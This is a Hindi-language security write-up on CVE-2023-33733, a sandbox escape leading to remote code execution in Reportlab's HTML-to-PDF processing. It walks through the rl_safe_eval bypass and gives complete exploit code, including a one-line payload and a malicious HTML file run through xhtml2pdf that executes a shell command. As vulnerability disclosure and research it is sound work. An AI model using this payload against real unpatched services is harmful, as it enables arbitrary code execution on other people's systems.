
CVE-2023-33733 के लिए विस्तृत तकनीकी विवरण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट — Reportlab Python लाइब्रेरी में HTML-to-PDF प्रोसेसिंग में सैंडबॉक्स बाइपास के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता।
tl;dr यह लेख बताता है कि रिपोर्टलैब में एक RCE कैसे पाया गया और उसका शोषण किया गया। HTML से PDF प्रसंस्करण में रिपोर्टलैब की व्यापकता के कारण, यह भेद्यता कई अनुप्रयोगों में पहुँच योग्य हो सकती है जो PDF फ़ाइलों को संसाधित करते हैं, जिससे यह पैच करने और ध्यान देने के लिए महत्वपूर्ण हो जाती है।
कुछ दिन पहले, एक वेब एप्लिकेशन ऑडिट के दौरान हमने देखा कि एप्लिकेशन HTML इनपुट से PDF फ़ाइलों के गतिशील निर्माण के लिए रिपोर्टलैब पायथन लाइब्रेरी का उपयोग कर रहा था। रिपोर्टलैब में पहले से पैच की गई एक भेद्यता पाई गई थी जो कोड निष्पादन की ओर ले जाती थी। इसका मतलब है कि हमलावर के दृष्टिकोण से पैच के लिए बायपास ढूंढना काफी दिलचस्प था क्योंकि इससे कोड निष्पादन की पुनः खोज होगी, विशेषकर जब रिपोर्टलैब लाइब्रेरी का उपयोग अन्य अनुप्रयोगों और उपकरणों में भी किया जाता है।
पहली बात, एक त्वरित पुनर्कथन: रिपोर्टलैब एक ओपन सोर्स प्रोजेक्ट है जो पायथन प्रोग्रामिंग भाषा का उपयोग करके Adobe के पोर्टेबल डॉक्यूमेंट फॉर्मेट (PDF) में दस्तावेज़ बनाने की अनुमति देता है। यह PDF के साथ-साथ विभिन्न बिटमैप और वेक्टर फॉर्मेट में चार्ट और डेटा ग्राफिक्स भी बनाता है।
लाइब्रेरी में 2019 में एक समान शोषण ज्ञात था जो HTML टैग के Color विशेषता के माध्यम से रिमोट कोड निष्पादन की ओर ले जाता था, विशेषता की सामग्री को eval फ़ंक्शन का उपयोग करके सीधे पायथन अभिव्यक्ति के रूप में मूल्यांकन किया जाता था, जिससे कोड निष्पादन होता था। इस समस्या को कम करने के लिए रिपोर्टलैब ने एक सैंडबॉक्स लागू किया जिसे कहा जाता है, जो सभी पायथन बिल्टइन फ़ंक्शनों से रहित है और इसमें कई अधिलिखित बिल्टइन फ़ंक्शन हैं ताकि लाइब्रेरी के सुरक्षित कोड के निष्पादन की अनुमति दी जा सके जबकि खतरनाक फ़ंक्शनों और लाइब्रेरी तक किसी भी पहुँच को रोका जा सके जो बाद में खतरनाक पायथन कोड के निर्माण की ओर ले जा सकते हैं:
rl_safe_evalइस निवारण उपाय का एक उदाहरण यह है कि बिल्टइन getattr फ़ंक्शन को एक प्रतिबंधित फ़ंक्शन __rl_getitem__ से बदल दिया गया है जो ऑब्जेक्ट के किसी भी खतरनाक गुण जैसे कि __ से शुरू होने वाले गुणों तक पहुँच को प्रतिबंधित करता है:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
सुरक्षित eval जैसा कि पहले बताया गया है, वातावरण को सभी खतरनाक फ़ंक्शनों से शुद्ध करता है ताकि निष्पादित कोड के पास उन खतरनाक उपकरणों तक पहुँच न हो जिनका उपयोग दुर्भावनापूर्ण कार्यों को निष्पादित करने के लिए किया जा सकता है, हालांकि यदि उन प्रतिबंधों के लिए बायपास मिल जाता है और मूल बिल्टइन फ़ंक्शनों में से किसी एक तक पहुँच प्राप्त हो जाती है, तो यह सैंडबॉक्स किए गए वातावरण के शोषण को बहुत सुविधाजनक बनाएगा।
कई अधिलिखित बिल्टइन वर्गों में से एक को type कहा जाता है, यदि इस वर्ग को एक तर्क के साथ बुलाया जाता है, तो यह किसी ऑब्जेक्ट का प्रकार लौटाता है। हालांकि यदि इसे तीन तर्कों के साथ बुलाया जाता है, तो यह एक नया प्रकार ऑब्जेक्ट लौटाता है। यह मूल रूप से class कथन का एक गतिशील रूप है। दूसरे शब्दों में, यह एक नए वर्ग के निर्माण की अनुमति दे सकता है जो दूसरे वर्ग से विरासत प्राप्त करता है।
तो यहाँ विचार Word नामक एक नया वर्ग बनाने का है जो str से विरासत प्राप्त करता है, जब इसे कस्टम getattr में पारित किया जाता है तो यह जाँचों को बायपास करेगा और __code__ जैसे संवेदनशील गुणों तक पहुँच की अनुमति देगा।
सैंडबॉक्स किए गए eval में कस्टम getattr गुण लौटाने से पहले __rl_is_allowed_name__ को कॉल करके कुछ जाँचें करता है ताकि कॉल किए गए गुण की सुरक्षा की जाँच की जा सके, इससे पहले कि वह पायथन बिल्टइन getattr को कॉल करे और परिणाम लौटाए।
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
__rl_is_allowed_name__ फ़ंक्शन को बायपास करने के लिए, Word वर्ग को चाहिए:
(name.startswith('__') को बायपास करने के लिए फ़ंक्शन startswith के लिए हमेशा False लौटाना चाहिएname in __rl_unsafe__ को बायपास करने के लिए __eq__ के पहले कॉल पर False लौटाना चाहिए, पहले कॉल के बाद इसे सही उत्तर लौटाना चाहिए क्योंकि जब पायथन बिल्टइन getattr द्वारा __eq__ कॉल किया जाता है तो इसे सही परिणाम लौटाना चाहिए।निम्नलिखित वर्ग इन मानदंडों को पूरा करता है:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
सुरक्षित eval में कस्टम type फ़ंक्शन तीन तर्क पारित करने की अनुमति नहीं देता:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
इसके लिए एक बायपास type को स्वयं पर कॉल करके पाया गया, जिससे मूल बिल्टइन type फ़ंक्शन की पुनर्प्राप्ति संभव हुई:
orgTypeFun = type(type(1))
इन दो पंक्तियों के कोड को जोड़ने पर कुछ इस प्रकार होगा:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
मूल शोषण में कई कमियाँ थीं जिनके कारण यह केवल पायथन 3.10 पर ही शोषणीय था, इन समस्याओं को हल करने के लिए os पायथन मॉड्यूल तक पहुँचने के लिए एक नया दृष्टिकोण बनाया गया।
रिपोर्टलैब लाइब्रेरी कई बिल्टइन फ़ंक्शनों के कार्यान्वयन को ओवरराइड करती है और उन्हें eval संदर्भ में globls के रूप में इंजेक्ट करती है।
rl_safe_eval.py में कस्टम फ़ंक्शनों द्वारा ओवरराइड किए गए डिफ़ॉल्ट बिल्टइन का उदाहरण:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
चूँकि ये फ़ंक्शन वैश्विक संदर्भ में निर्मित होते हैं, वैश्विक चर और मॉड्यूल को इन कस्टम फ़ंक्शनों के __globals__ गुण का उपयोग करके पहुँचा जा सकता है।
निम्नलिखित कोड को eval संदर्भ के अंदर निष्पादित किया जाना चाहिए
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
अब केवल शोषण लिखना शेष है:
ऐसा करने के लिए एक संकलित फ़ंक्शन के बाइटकोड से एक फ़ंक्शन का पुनर्निर्माण किया जाएगा:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
हालांकि इस तरह की बहु-पंक्ति अभिव्यक्ति eval संदर्भ में निष्पादित नहीं होगी, इस समस्या को बायपास करने के लिए list comprehension ट्रिक का उपयोग किया जा सकता है, कुछ इस प्रकार:
[print(x) for x in ['hellworld']]
# which would be equivalent to
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# which would be equivalent to
x='first var'
x='second var'
print (x + ' ' + y)
इस तकनीक के साथ शोषण कोड को एक पंक्ति में इस प्रकार लिखा जा सकता है (इसे एक पंक्ति माना जाता है x) यहाँ बहु-पंक्ति केवल शोषण की पढ़ने योग्यता बढ़ाने के लिए स्वरूपण है, घोषणाओं को नीचे से ऊपर पढ़ा जाना चाहिए x) अजीब लेकिन यह इसी प्रकार काम करता है):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
कृपया poc.py देखें क्योंकि इसमें प्रूफ ऑफ कॉन्सेप्ट है जो कोड निष्पादन को प्रदर्शित करता है (सफल शोषण पर /tmp/ में exploited नामक फ़ाइल बनाई जाती है)।
बहुत सारे ऐप्स और लाइब्रेरी रिपोर्टलैब लाइब्रेरी का उपयोग करते हैं, उदाहरण के लिए xhtml2pdf उपयोगिता फ़ंक्शन असुरक्षित है और दुर्भावनापूर्ण HTML को pdf में बदलते समय कोड निष्पादन से पीड़ित हो सकता है
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
मैं Matthias Weckbecker को उनके सहयोग और मूल शोषण की कमियों पर चर्चा करने वाले अद्भुत आदान-प्रदान के लिए धन्यवाद देना चाहता हूँ। अब शोषण पायथन 3 के सभी संस्करणों पर निर्बाध रूप से काम करता है :D